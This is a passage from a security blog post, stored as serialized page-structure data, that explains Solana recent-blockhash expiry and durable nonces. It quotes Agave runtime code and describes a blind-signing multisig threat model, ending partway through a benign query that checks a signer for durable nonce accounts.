is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[67310],{"type":23,"tag":92,"props":67311,"children":67312},{"__ignoreMap":7},[67313,67392,67426],{"type":23,"tag":134,"props":67314,"children":67315},{"class":136,"line":137},[67316,67320,67325,67329,67334,67338,67342,67346,67351,67355,67359,67363,67368,67372,67376,67380,67384,67388],{"type":23,"tag":134,"props":67317,"children":67318},{"style":151},[67319],{"type":28,"value":19744},{"type":23,"tag":134,"props":67321,"children":67322},{"style":264},[67323],{"type":28,"value":67324}," is_hash_index_valid",{"type":23,"tag":134,"props":67326,"children":67327},{"style":179},[67328],{"type":28,"value":272},{"type":23,"tag":134,"props":67330,"children":67331},{"style":162},[67332],{"type":28,"value":67333},"last_hash_index",{"type":23,"tag":134,"props":67335,"children":67336},{"style":168},[67337],{"type":28,"value":1697},{"type":23,"tag":134,"props":67339,"children":67340},{"style":597},[67341],{"type":28,"value":5316},{"type":23,"tag":134,"props":67343,"children":67344},{"style":179},[67345],{"type":28,"value":242},{"type":23,"tag":134,"props":67347,"children":67348},{"style":162},[67349],{"type":28,"value":67350},"max_age",{"type":23,"tag":134,"props":67352,"children":67353},{"style":168},[67354],{"type":28,"value":1697},{"type":23,"tag":134,"props":67356,"children":67357},{"style":597},[67358],{"type":28,"value":13199},{"type":23,"tag":134,"props":67360,"children":67361},{"style":179},[67362],{"type":28,"value":242},{"type":23,"tag":134,"props":67364,"children":67365},{"style":162},[67366],{"type":28,"value":67367},"hash_index",{"type":23,"tag":134,"props":67369,"children":67370},{"style":168},[67371],{"type":28,"value":1697},{"type":23,"tag":134,"props":67373,"children":67374},{"style":597},[67375],{"type":28,"value":5316},{"type":23,"tag":134,"props":67377,"children":67378},{"style":179},[67379],{"type":28,"value":252},{"type":23,"tag":134,"props":67381,"children":67382},{"style":168},[67383],{"type":28,"value":13225},{"type":23,"tag":134,"props":67385,"children":67386},{"style":597},[67387],{"type":28,"value":11517},{"type":23,"tag":134,"props":67389,"children":67390},{"style":179},[67391],{"type":28,"value":463},{"type":23,"tag":134,"props":67393,"children":67394},{"class":136,"line":147},[67395,67400,67404,67409,67413,67418,67422],{"type":23,"tag":134,"props":67396,"children":67397},{"style":162},[67398],{"type":28,"value":67399},"    last_hash_index",{"type":23,"tag":134,"props":67401,"children":67402},{"style":168},[67403],{"type":28,"value":50761},{"type":23,"tag":134,"props":67405,"children":67406},{"style":162},[67407],{"type":28,"value":67408}," hash_index",{"type":23,"tag":134,"props":67410,"children":67411},{"style":168},[67412],{"type":28,"value":7656},{"type":23,"tag":134,"props":67414,"children":67415},{"style":162},[67416],{"type":28,"value":67417}," max_age",{"type":23,"tag":134,"props":67419,"children":67420},{"style":151},[67421],{"type":28,"value":8288},{"type":23,"tag":134,"props":67423,"children":67424},{"style":597},[67425],{"type":28,"value":12664},{"type":23,"tag":134,"props":67427,"children":67428},{"class":136,"line":185},[67429],{"type":23,"tag":134,"props":67430,"children":67431},{"style":179},[67432],{"type":28,"value":1098},{"type":23,"tag":24,"props":67434,"children":67435},{},[67436],{"type":28,"value":67437},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":78,"props":67439,"children":67440},{},[67441],{"type":23,"tag":24,"props":67442,"children":67443},{},[67444,67446],{"type":28,"value":67445},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":2532,"props":67447,"children":67448},{},[67449],{"type":28,"value":67450},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":24,"props":67452,"children":67453},{},[67454,67456,67461],{"type":28,"value":67455},"This means an attacker ",{"type":23,"tag":55,"props":67457,"children":67458},{},[67459],{"type":28,"value":67460},"must use",{"type":28,"value":67462}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":9072,"props":67464,"children":67466},{"id":67465},"durable-nonce",[67467],{"type":28,"value":67468},"Durable Nonce",{"type":23,"tag":24,"props":67470,"children":67471},{},[67472,67474,67481],{"type":28,"value":67473},"The second type of signature ",{"type":23,"tag":31,"props":67475,"children":67478},{"href":67476,"rel":67477},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[35],[67479],{"type":28,"value":67480},"is a durable nonce",{"type":28,"value":67482},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":78,"props":67484,"children":67485},{},[67486],{"type":23,"tag":24,"props":67487,"children":67488},{},[67489,67491],{"type":28,"value":67490},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":2532,"props":67492,"children":67493},{},[67494],{"type":28,"value":67495},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":24,"props":67497,"children":67498},{},[67499,67501,67508],{"type":28,"value":67500},"If we examine the code ",{"type":23,"tag":31,"props":67502,"children":67505},{"href":67503,"rel":67504},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[35],[67506],{"type":28,"value":67507},"for recent blockhash validation",{"type":28,"value":67509},", we can also see the handling for durable nonces.",{"type":23,"tag":87,"props":67511,"children":67513},{"className":128,"code":67512,"language":127,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[67514],{"type":23,"tag":92,"props":67515,"children":67516},{"__ignoreMap":7},[67517,67564,67630,67650,67670,67700,67708,67762,67779,67799,67811,67823,67831,67838,67857,67884,67904,67911,67926,67956,67985],{"type":23,"tag":134,"props":67518,"children":67519},{"class":136,"line":137},[67520,67524,67529,67533,67538,67542,67547,67551,67555,67560],{"type":23,"tag":134,"props":67521,"children":67522},{"style":151},[67523],{"type":28,"value":154},{"type":23,"tag":134,"props":67525,"children":67526},{"style":162},[67527],{"type":28,"value":67528}," recent_blockhash",{"type":23,"tag":134,"props":67530,"children":67531},{"style":168},[67532],{"type":28,"value":171},{"type":23,"tag":134,"props":67534,"children":67535},{"style":162},[67536],{"type":28,"value":67537}," tx",{"type":23,"tag":134,"props":67539,"children":67540},{"style":168},[67541],{"type":28,"value":720},{"type":23,"tag":134,"props":67543,"children":67544},{"style":264},[67545],{"type":28,"value":67546},"message",{"type":23,"tag":134,"props":67548,"children":67549},{"style":179},[67550],{"type":28,"value":13347},{"type":23,"tag":134,"props":67552,"children":67553},{"style":168},[67554],{"type":28,"value":720},{"type":23,"tag":134,"props":67556,"children":67557},{"style":264},[67558],{"type":28,"value":67559},"recent_blockhash",{"type":23,"tag":134,"props":67561,"children":67562},{"style":179},[67563],{"type":28,"value":856},{"type":23,"tag":134,"props":67565,"children":67566},{"class":136,"line":147},[67567,67571,67575,67579,67583,67588,67592,67596,67601,67605,67610,67614,67618,67622,67626],{"type":23,"tag":134,"props":67568,"children":67569},{"style":189},[67570],{"type":28,"value":11746},{"type":23,"tag":134,"props":67572,"children":67573},{"style":151},[67574],{"type":28,"value":26796},{"type":23,"tag":134,"props":67576,"children":67577},{"style":597},[67578],{"type":28,"value":26801},{"type":23,"tag":134,"props":67580,"children":67581},{"style":179},[67582],{"type":28,"value":272},{"type":23,"tag":134,"props":67584,"children":67585},{"style":162},[67586],{"type":28,"value":67587},"hash_info",{"type":23,"tag":134,"props":67589,"children":67590},{"style":179},[67591],{"type":28,"value":252},{"type":23,"tag":134,"props":67593,"children":67594},{"style":168},[67595],{"type":28,"value":257},{"type":23,"tag":134,"props":67597,"children":67598},{"style":162},[67599],{"type":28,"value":67600}," hash_queue",{"type":23,"tag":134,"props":67602,"children":67603},{"style":168},[67604],{"type":28,"value":720},{"type":23,"tag":134,"props":67606,"children":67607},{"style":264},[67608],{"type":28,"value":67609},"get_hash_info_if_valid",{"type":23,"tag":134,"props":67611,"children":67612},{"style":179},[67613],{"type":28,"value":272},{"type":23,"tag":134,"props":67615,"children":67616},{"style":162},[67617],{"type":28,"value":67559},{"type":23,"tag":134,"props":67619,"children":67620},{"style":179},[67621],{"type":28,"value":242},{"type":23,"tag":134,"props":67623,"children":67624},{"style":162},[67625],{"type":28,"value":67350},{"type":23,"tag":134,"props":67627,"children":67628},{"style":179},[67629],{"type":28,"value":14272},{"type":23,"tag":134,"props":67631,"children":67632},{"class":136,"line":185},[67633,67637,67641,67646],{"type":23,"tag":134,"props":67634,"children":67635},{"style":597},[67636],{"type":28,"value":14280},{"type":23,"tag":134,"props":67638,"children":67639},{"style":179},[67640],{"type":28,"value":272},{"type":23,"tag":134,"props":67642,"children":67643},{"style":597},[67644],{"type":28,"value":67645},"CheckedTransactionDetails",{"type":23,"tag":134,"props":67647,"children":67648},{"style":179},[67649],{"type":28,"value":463},{"type":23,"tag":134,"props":67651,"children":67652},{"class":136,"line":221},[67653,67658,67662,67666],{"type":23,"tag":134,"props":67654,"children":67655},{"style":162},[67656],{"type":28,"value":67657},"            nonce",{"type":23,"tag":134,"props":67659,"children":67660},{"style":168},[67661],{"type":28,"value":1697},{"type":23,"tag":134,"props":67663,"children":67664},{"style":597},[67665],{"type":28,"value":27249},{"type":23,"tag":134,"props":67667,"children":67668},{"style":179},[67669],{"type":28,"value":687},{"type":23,"tag":134,"props":67671,"children":67672},{"class":136,"line":332},[67673,67678,67682,67687,67691,67696],{"type":23,"tag":134,"props":67674,"children":67675},{"style":162},[67676],{"type":28,"value":67677},"            lamports_per_signature",{"type":23,"tag":134,"props":67679,"children":67680},{"style":168},[67681],{"type":28,"value":1697},{"type":23,"tag":134,"props":67683,"children":67684},{"style":162},[67685],{"type":28,"value":67686}," hash_info",{"type":23,"tag":134,"props":67688,"children":67689},{"style":168},[67690],{"type":28,"value":720},{"type":23,"tag":134,"props":67692,"children":67693},{"style":264},[67694],{"type":28,"value":67695},"lamports_per_signature",{"type":23,"tag":134,"props":67697,"children":67698},{"style":179},[67699],{"type":28,"value":670},{"type":23,"tag":134,"props":67701,"children":67702},{"class":136,"line":438},[67703],{"type":23,"tag":134,"props":67704,"children":67705},{"style":179},[67706],{"type":28,"value":67707},"        })\n",{"type":23,"tag":134,"props":67709,"children":67710},{"class":136,"line":466},[67711,67715,67719,67723,67727,67731,67735,67740,67744,67749,67753,67757],{"type":23,"tag":134,"props":67712,"children":67713},{"style":179},[67714],{"type":28,"value":15249},{"type":23,"tag":134,"props":67716,"children":67717},{"style":189},[67718],{"type":28,"value":490},{"type":23,"tag":134,"props":67720,"children":67721},{"style":189},[67722],{"type":28,"value":15258},{"type":23,"tag":134,"props":67724,"children":67725},{"style":151},[67726],{"type":28,"value":26796},{"type":23,"tag":134,"props":67728,"children":67729},{"style":597},[67730],{"type":28,"value":26801},{"type":23,"tag":134,"props":67732,"children":67733},{"style":179},[67734],{"type":28,"value":31018},{"type":23,"tag":134,"props":67736,"children":67737},{"style":162},[67738],{"type":28,"value":67739},"nonce",{"type":23,"tag":134,"props":67741,"children":67742},{"style":179},[67743],{"type":28,"value":242},{"type":23,"tag":134,"props":67745,"children":67746},{"style":162},[67747],{"type":28,"value":67748},"previous_lamports_per_signature",{"type":23,"tag":134,"props":67750,"children":67751},{"style":179},[67752],{"type":28,"value":8297},{"type":23,"tag":134,"props":67754,"children":67755},{"style":168},[67756],{"type":28,"value":257},{"type":23,"tag":134,"props":67758,"children":67759},{"style":151},[67760],{"type":28,"value":67761}," self\n",{"type":23,"tag":134,"props":67763,"children":67764},{"class":136,"line":479},[67765,67770,67775],{"type":23,"tag":134,"props":67766,"children":67767},{"style":168},[67768],{"type":28,"value":67769},"        .",{"type":23,"tag":134,"props":67771,"children":67772},{"style":264},[67773],{"type":28,"value":67774},"check_load_and_advance_message_nonce_account",{"type":23,"tag":134,"props":67776,"children":67777},{"style":179},[67778],{"type":28,"value":642},{"type":23,"tag":134,"props":67780,"children":67781},{"class":136,"line":497},[67782,67787,67791,67795],{"type":23,"tag":134,"props":67783,"children":67784},{"style":162},[67785],{"type":28,"value":67786},"            tx",{"type":23,"tag":134,"props":67788,"children":67789},{"style":168},[67790],{"type":28,"value":720},{"type":23,"tag":134,"props":67792,"children":67793},{"style":264},[67794],{"type":28,"value":67546},{"type":23,"tag":134,"props":67796,"children":67797},{"style":179},[67798],{"type":28,"value":670},{"type":23,"tag":134,"props":67800,"children":67801},{"class":136,"line":518},[67802,67807],{"type":23,"tag":134,"props":67803,"children":67804},{"style":162},[67805],{"type":28,"value":67806},"            next_durable_nonce",{"type":23,"tag":134,"props":67808,"children":67809},{"style":179},[67810],{"type":28,"value":687},{"type":23,"tag":134,"props":67812,"children":67813},{"class":136,"line":527},[67814,67819],{"type":23,"tag":134,"props":67815,"children":67816},{"style":162},[67817],{"type":28,"value":67818},"            next_lamports_per_signature",{"type":23,"tag":134,"props":67820,"children":67821},{"style":179},[67822],{"type":28,"value":687},{"type":23,"tag":134,"props":67824,"children":67825},{"class":136,"line":780},[67826],{"type":23,"tag":134,"props":67827,"children":67828},{"style":179},[67829],{"type":28,"value":67830},"        )\n",{"type":23,"tag":134,"props":67832,"children":67833},{"class":136,"line":797},[67834],{"type":23,"tag":134,"props":67835,"children":67836},{"style":179},[67837],{"type":28,"value":28680},{"type":23,"tag":134,"props":67839,"children":67840},{"class":136,"line":814},[67841,67845,67849,67853],{"type":23,"tag":134,"props":67842,"children":67843},{"style":597},[67844],{"type":28,"value":14280},{"type":23,"tag":134,"props":67846,"children":67847},{"style":179},[67848],{"type":28,"value":272},{"type":23,"tag":134,"props":67850,"children":67851},{"style":597},[67852],{"type":28,"value":67645},{"type":23,"tag":134,"props":67854,"children":67855},{"style":179},[67856],{"type":28,"value":463},{"type":23,"tag":134,"props":67858,"children":67859},{"class":136,"line":827},[67860,67864,67868,67872,67876,67880],{"type":23,"tag":134,"props":67861,"children":67862},{"style":162},[67863],{"type":28,"value":67657},{"type":23,"tag":134,"props":67865,"children":67866},{"style":168},[67867],{"type":28,"value":1697},{"type":23,"tag":134,"props":67869,"children":67870},{"style":597},[67871],{"type":28,"value":26801},{"type":23,"tag":134,"props":67873,"children":67874},{"style":179},[67875],{"type":28,"value":272},{"type":23,"tag":134,"props":67877,"children":67878},{"style":162},[67879],{"type":28,"value":67739},{"type":23,"tag":134,"props":67881,"children":67882},{"style":179},[67883],{"type":28,"value":6194},{"type":23,"tag":134,"props":67885,"children":67886},{"class":136,"line":836},[67887,67891,67895,67900],{"type":23,"tag":134,"props":67888,"children":67889},{"style":162},[67890],{"type":28,"value":67677},{"type":23,"tag":134,"props":67892,"children":67893},{"style":168},[67894],{"type":28,"value":1697},{"type":23,"tag":134,"props":67896,"children":67897},{"style":162},[67898],{"type":28,"value":67899}," previous_lamports_per_signature",{"type":23,"tag":134,"props":67901,"children":67902},{"style":179},[67903],{"type":28,"value":687},{"type":23,"tag":134,"props":67905,"children":67906},{"class":136,"line":859},[67907],{"type":23,"tag":134,"props":67908,"children":67909},{"style":179},[67910],{"type":28,"value":67707},{"type":23,"tag":134,"props":67912,"children":67913},{"class":136,"line":868},[67914,67918,67922],{"type":23,"tag":134,"props":67915,"children":67916},{"style":179},[67917],{"type":28,"value":15249},{"type":23,"tag":134,"props":67919,"children":67920},{"style":189},[67921],{"type":28,"value":490},{"type":23,"tag":134,"props":67923,"children":67924},{"style":179},[67925],{"type":28,"value":463},{"type":23,"tag":134,"props":67927,"children":67928},{"class":136,"line":877},[67929,67934,67938,67943,67948,67952],{"type":23,"tag":134,"props":67930,"children":67931},{"style":162},[67932],{"type":28,"value":67933},"        error_counters",{"type":23,"tag":134,"props":67935,"children":67936},{"style":168},[67937],{"type":28,"value":720},{"type":23,"tag":134,"props":67939,"children":67940},{"style":179},[67941],{"type":28,"value":67942},"blockhash_not_found ",{"type":23,"tag":134,"props":67944,"children":67945},{"style":168},[67946],{"type":28,"value":67947},"+=",{"type":23,"tag":134,"props":67949,"children":67950},{"style":205},[67951],{"type":28,"value":1729},{"type":23,"tag":134,"props":67953,"children":67954},{"style":179},[67955],{"type":28,"value":182},{"type":23,"tag":134,"props":67957,"children":67958},{"class":136,"line":946},[67959,67963,67967,67972,67976,67981],{"type":23,"tag":134,"props":67960,"children":67961},{"style":597},[67962],{"type":28,"value":14323},{"type":23,"tag":134,"props":67964,"children":67965},{"style":179},[67966],{"type":28,"value":272},{"type":23,"tag":134,"props":67968,"children":67969},{"style":597},[67970],{"type":28,"value":67971},"TransactionError",{"type":23,"tag":134,"props":67973,"children":67974},{"style":168},[67975],{"type":28,"value":660},{"type":23,"tag":134,"props":67977,"children":67978},{"style":597},[67979],{"type":28,"value":67980},"BlockhashNotFound",{"type":23,"tag":134,"props":67982,"children":67983},{"style":179},[67984],{"type":28,"value":329},{"type":23,"tag":134,"props":67986,"children":67987},{"class":136,"line":954},[67988],{"type":23,"tag":134,"props":67989,"children":67990},{"style":179},[67991],{"type":28,"value":533},{"type":23,"tag":24,"props":67993,"children":67994},{},[67995],{"type":28,"value":67996},"The documentation does a good job of explaining how they work.",{"type":23,"tag":78,"props":67998,"children":67999},{},[68000],{"type":23,"tag":24,"props":68001,"children":68002},{},[68003],{"type":28,"value":68004},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":24,"props":68006,"children":68007},{},[68008,68010,68017],{"type":28,"value":68009},"Durable nonces are created and managed ",{"type":23,"tag":31,"props":68011,"children":68014},{"href":68012,"rel":68013},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[35],[68015],{"type":28,"value":68016},"by the system program",{"type":28,"value":68018},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":24,"props":68020,"children":68021},{},[68022,68024,68031],{"type":28,"value":68023},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":31,"props":68025,"children":68028},{"href":68026,"rel":68027},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[35],[68029],{"type":28,"value":68030},"based on the current blockhash",{"type":28,"value":68032},", and cannot be predicted in advance.",{"type":23,"tag":87,"props":68034,"children":68036},{"className":128,"code":68035,"language":127,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[68037],{"type":23,"tag":92,"props":68038,"children":68039},{"__ignoreMap":7},[68040,68092,68125],{"type":23,"tag":134,"props":68041,"children":68042},{"class":136,"line":137},[68043,68047,68051,68055,68059,68063,68068,68072,68076,68080,68084,68088],{"type":23,"tag":134,"props":68044,"children":68045},{"style":151},[68046],{"type":28,"value":154},{"type":23,"tag":134,"props":68048,"children":68049},{"style":162},[68050],{"type":28,"value":67600},{"type":23,"tag":134,"props":68052,"children":68053},{"style":168},[68054],{"type":28,"value":171},{"type":23,"tag":134,"props":68056,"children":68057},{"style":151},[68058],{"type":28,"value":13265},{"type":23,"tag":134,"props":68060,"children":68061},{"style":168},[68062],{"type":28,"value":720},{"type":23,"tag":134,"props":68064,"children":68065},{"style":179},[68066],{"type":28,"value":68067},"blockhash_queue",{"type":23,"tag":134,"props":68069,"children":68070},{"style":168},[68071],{"type":28,"value":720},{"type":23,"tag":134,"props":68073,"children":68074},{"style":264},[68075],{"type":28,"value":60148},{"type":23,"tag":134,"props":68077,"children":68078},{"style":179},[68079],{"type":28,"value":13347},{"type":23,"tag":134,"props":68081,"children":68082},{"style":168},[68083],{"type":28,"value":720},{"type":23,"tag":134,"props":68085,"children":68086},{"style":264},[68087],{"type":28,"value":851},{"type":23,"tag":134,"props":68089,"children":68090},{"style":179},[68091],{"type":28,"value":856},{"type":23,"tag":134,"props":68093,"children":68094},{"class":136,"line":147},[68095,68099,68104,68108,68112,68116,68121],{"type":23,"tag":134,"props":68096,"children":68097},{"style":151},[68098],{"type":28,"value":154},{"type":23,"tag":134,"props":68100,"children":68101},{"style":162},[68102],{"type":28,"value":68103}," last_blockhash",{"type":23,"tag":134,"props":68105,"children":68106},{"style":168},[68107],{"type":28,"value":171},{"type":23,"tag":134,"props":68109,"children":68110},{"style":162},[68111],{"type":28,"value":67600},{"type":23,"tag":134,"props":68113,"children":68114},{"style":168},[68115],{"type":28,"value":720},{"type":23,"tag":134,"props":68117,"children":68118},{"style":264},[68119],{"type":28,"value":68120},"last_hash",{"type":23,"tag":134,"props":68122,"children":68123},{"style":179},[68124],{"type":28,"value":856},{"type":23,"tag":134,"props":68126,"children":68127},{"class":136,"line":185},[68128,68132,68137,68141,68146,68150,68155,68159,68163,68168],{"type":23,"tag":134,"props":68129,"children":68130},{"style":151},[68131],{"type":28,"value":154},{"type":23,"tag":134,"props":68133,"children":68134},{"style":162},[68135],{"type":28,"value":68136}," next_durable_nonce",{"type":23,"tag":134,"props":68138,"children":68139},{"style":168},[68140],{"type":28,"value":171},{"type":23,"tag":134,"props":68142,"children":68143},{"style":597},[68144],{"type":28,"value":68145}," DurableNonce",{"type":23,"tag":134,"props":68147,"children":68148},{"style":168},[68149],{"type":28,"value":660},{"type":23,"tag":134,"props":68151,"children":68152},{"style":264},[68153],{"type":28,"value":68154},"from_blockhash",{"type":23,"tag":134,"props":68156,"children":68157},{"style":179},[68158],{"type":28,"value":272},{"type":23,"tag":134,"props":68160,"children":68161},{"style":168},[68162],{"type":28,"value":277},{"type":23,"tag":134,"props":68164,"children":68165},{"style":162},[68166],{"type":28,"value":68167},"last_blockhash",{"type":23,"tag":134,"props":68169,"children":68170},{"style":179},[68171],{"type":28,"value":1021},{"type":23,"tag":24,"props":68173,"children":68174},{},[68175,68177,68182],{"type":28,"value":68176},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":55,"props":68178,"children":68179},{},[68180],{"type":28,"value":68181},"can",{"type":28,"value":68183}," be saved and reused.",{"type":23,"tag":61,"props":68185,"children":68187},{"id":68186},"threat-model",[68188],{"type":28,"value":68189},"Threat Model",{"type":23,"tag":24,"props":68191,"children":68192},{},[68193],{"type":28,"value":68194},"Let's consider a simplified form of the original question.",{"type":23,"tag":4890,"props":68196,"children":68197},{},[68198,68203,68208],{"type":23,"tag":4894,"props":68199,"children":68200},{},[68201],{"type":28,"value":68202},"We have a N/M multisig",{"type":23,"tag":4894,"props":68204,"children":68205},{},[68206],{"type":28,"value":68207},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":4894,"props":68209,"children":68210},{},[68211],{"type":28,"value":68212},"We can accurately query chain state.",{"type":23,"tag":24,"props":68214,"children":68215},{},[68216],{"type":28,"value":68217},"Can we safely sign transactions?",{"type":23,"tag":24,"props":68219,"children":68220},{},[68221],{"type":28,"value":68222},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":24,"props":68224,"children":68225},{},[68226,68228,68234,68236,68243],{"type":28,"value":68227},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":92,"props":68229,"children":68231},{"className":68230},[],[68232],{"type":28,"value":68233},"getProgramAccounts",{"type":28,"value":68235}," call to validate if your signer ",{"type":23,"tag":31,"props":68237,"children":68240},{"href":68238,"rel":68239},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[35],[68241],{"type":28,"value":68242},"has an associated durable nonce",{"type":28,"value":720},{"type":23,"tag":87,"props":68245,"children":68247},{"className":35428,"code":68246,"language":35430,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[68248],{"type":23,"tag":92,"props":68249,"children":68250},{"__ignoreMap":7},[68251,68298,68334,68342,68354,68362,68374,68382,68390,68407,68414,68421,68429,68437,68449,68475,68492,68499,68506,68514,68521],{"type":23,"tag":134,"props":68252,"children":68253},{"class":136,"line":137},[68254,68258,68263,68267,68271,68276,68280,68285,68289,68294],{"type":23,"tag":134,"props":68255,"children":68256},{"style":151},[68257],{"type":28,"value":9119},{"type":23,"tag":134,"props":68259,"children":68260},{"style":162},[68261],{"type":28,"value":68262}," connection",{"type":23,"tag":134,"props":68264,"children":68265},{"style":168},[68266],{"type":28,"value":171},{"type":23,"tag":134,"props":68268,"children":68269},{"style":151},[68270],{"type":28,"value":31428},{"type":23,"tag":134,"props":68272,"children":68273},{"style":264},[68274],{"type":28,"value":68275}," Connection",{"type":23,"tag":134,"props":68277,"children":68278},{"style":179},[68279],{"type":28,"value":272},{"type":23,"tag":134,"props":68281,"children":68282},{"style":264},[68283],{"type":28,"value":68284},"clusterApiUrl",{"type":23,"tag":134,"props":68286,"children":68287},{"style":179},[68288],{"type":28,"value":272},{"type":23,"tag":134,"props":68290,"children":68291},{"style":1461},[68292],{"type":28,"value":68293},"'testnet'",{"type":23,"tag":134,"props":68295,"children":68296},{"style":179},[68297],{"type":28,"value":6681},{"type":23,"tag":134,"props":68299,"children":68300},{"class":136,"line":147},[68301,68305,68310,68314,68318,68322,68326,68330],{"type":23,"tag":134,"props":68302,"children":68303},{"style":151},[68304],{"type":28,"value":9119},{"type":23,"tag":134,"props":68306,"children":68307},{"style":162},[68308],{"type":28,"value":68309}," nonceAccounts",{"type":23,"tag":134,"props":68311,"children":68312},{"style":168},[68313],{"type":28,"value":171},{"type":23,"tag":134,"props":68315,"children":68316},{"style":189},[68317],{"type":28,"value":35709},{"type":23,"tag":134,"props":68319,"children":68320},{"style":162},[68321],{"type":28,"value":68262},{"type":23,"tag":134,"props":68323,"children":68324},{"style":179},[68325],{"type":28,"value":720},{"type":23,"tag":134,"props":68327,"children":68328},{"style":264},[68329],{"type":28,"value":68233},{"type":23,"tag":134,"props":68331,"children":68332},{"style":179},[68333],{"type":28,"value":642},{"type":23,"tag":134,"props":68335,"children":68336},{"class":136,"line":185},[68337],{"type":23,"tag":134,"props":68338,"children":68339},{"style":141},[68340],{"type":28,"value":68341},"  // The system program owns all nonce accounts.\n",{"type":23,"tag":134,"props":68343,"children":68344},{"class":136,"line":221},[68345,68350],{"type":23,"tag":134,"props":68346,"children":68347},{"style":162},[68348],{"type":28,"value":68349},"  SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":134,"props":68351,"children":68352},{"style":179},[68353],{"type":28,"value":687},{"type":23,"tag":134,"props":68355,"children":68356},{"class":136,"line":332},[68357],{"type":23,"tag":134,"props":68358,"children":68359},{"style":179},[68360],{"type":28,"value":68361},"  {\n",{"type":23,"tag":134,"props":68363,"children":68364},{"class":136,"line":438},[68365,68370],{"type":23,"tag":134,"props":68366,"children":68367},{"style":162},[68368],{"type":28,"value":68369},"    filters:",{"type":23,"tag":134,"props":68371,"children":68372},{"style":179},[68373],{"type":28,"value":25112},{"type":23,"tag":134,"props":68375,"children":68376},{"class":136,"line":466},[68377],{"type":23,"tag":134,"props":68378,"children":68379},{"style":179},[68380],{"type":28,"value":68381},"      {\n",{"type":23,"tag":134,"props":68383,"children":68384},{"class":136,"line":479},[68385],{"type":23,"tag":134,"props":68386,"children":68387},{"style":141},[68388],{"type":28,"value":68389},"        // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":134,"props":68391,"children":68392},{"class":136,"line":497},[68393,68398,68403],{"type":23,"tag":134,"props":68394,"children":68395},{"style":162},[68396],{"type":28,"value":68397},"        dataSize:",{"type":23,"tag":134,"props":68399,"children":68400},{"style":205},[68401],{"type":28,"value":68402}," 80",{"type":23,"tag":134,"props":68404,"children":68405},{"style":179},[68406],{"type":28,"value":687},{"type":23,"tag":134,"props":68408,"children":68409},{"class":136,"line":518},[68410],{"type":23,"tag":134,"props":68411,"children":68412},{"style":179},[68413],{"type":28,"value":36697},{"type":23,"tag":134,"props":68415,"children":68416},{"class":136,"line":527},[68417],{"type":23,"tag":134,"props":68418,"children":68419},{"style":179},[68420],{"type":28,"value":68381},{"type":23,"tag":134,"props":68422,"children":68423},{"class":136,"line":780},[68424],{"type":23,"tag":134,"props":68425,"children":68426},{"style":141},[68427],{"type":28,"value":68428},"        // The authority's 32-byte public key is written\n",{"type":23,"tag":134,"props":68430,"children":68431},{"class":136,"line":797},[68432],{"type":23,"tag":134,"props":68433,"children":68434},{"style":141},[68435],{"type":28,"value":68436},"        // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":134,"props":68438,"children":68439},{"class":136,"line":814},[68440,68445],{"type":23,"tag":134,"props":68441,"children":68442},{"style":162},[68443],{"type":28,"value":68444},"        